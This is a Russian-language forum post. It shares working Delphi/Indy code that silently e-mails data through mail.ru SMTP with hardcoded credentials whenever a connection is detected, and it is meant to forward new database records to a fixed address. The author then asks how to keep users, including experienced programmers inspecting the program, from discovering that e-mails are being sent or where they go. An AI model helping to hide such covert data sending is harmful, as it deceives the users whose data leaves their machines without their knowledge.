Всем привет! Имеется БД. При добавлении записи в таблицы требуется чтобы поля были сформированы в 1 письмо и отправлены на определенный e-mail. Я реализовал таким способом, проверил - работает.
(Delphi 7+Indy последний SVN+xNetDetect):
Код:
procedure TNewEdit.XNetDetect1ConnectionStatus(Sender: TObject;
isConnected: Boolean);
var
M: TIdMessage;
begin
if isConnected then
begin
M := TIdMessage.Create(NewEdit);
M.Body.Add('Типа первая строчка собщения');
M.Body.Add('Типа вторая строчка собщения');
M.From.Text:= WinToKoi('"Тест"')+' <******@mail.ru>'; //отправитель
M.Recipients.Add;
M.Recipients.Items[0].Text:=WinToKoi('"Тест"')+' <*****@mail.ru>'; //Получатель
M.Subject:=WinToKoi('Тестовая тема письма'); //Тема письма
IdSMTP1.Host:='smtp.mail.ru';
IdSMTP1.Username:= '******'; // - логин на исходящую почту
IdSMTP1.Password:= '****'; // - пароль на исходящую почту
IdSMTP1.Connect;
IdSMTP1.Authenticate;
if IdSMTP1.Connected then
begin
IdSMTP1.Send(M);
{ShowMessage('Отправлено');} //тестирование отправки
end;
IdSMTP1.Disconnect;
end;
end;
Вопросы: можно ли каким-либо образом выяснить\заметить\обнаружить что отправляются e-mail и выяснить адрес на который отправляется e-mail(пользователи в компах нубы, но вдруг опытный юзер\программист просмотрит программму...)? Как минимизировать шанс того, что это обнаружится?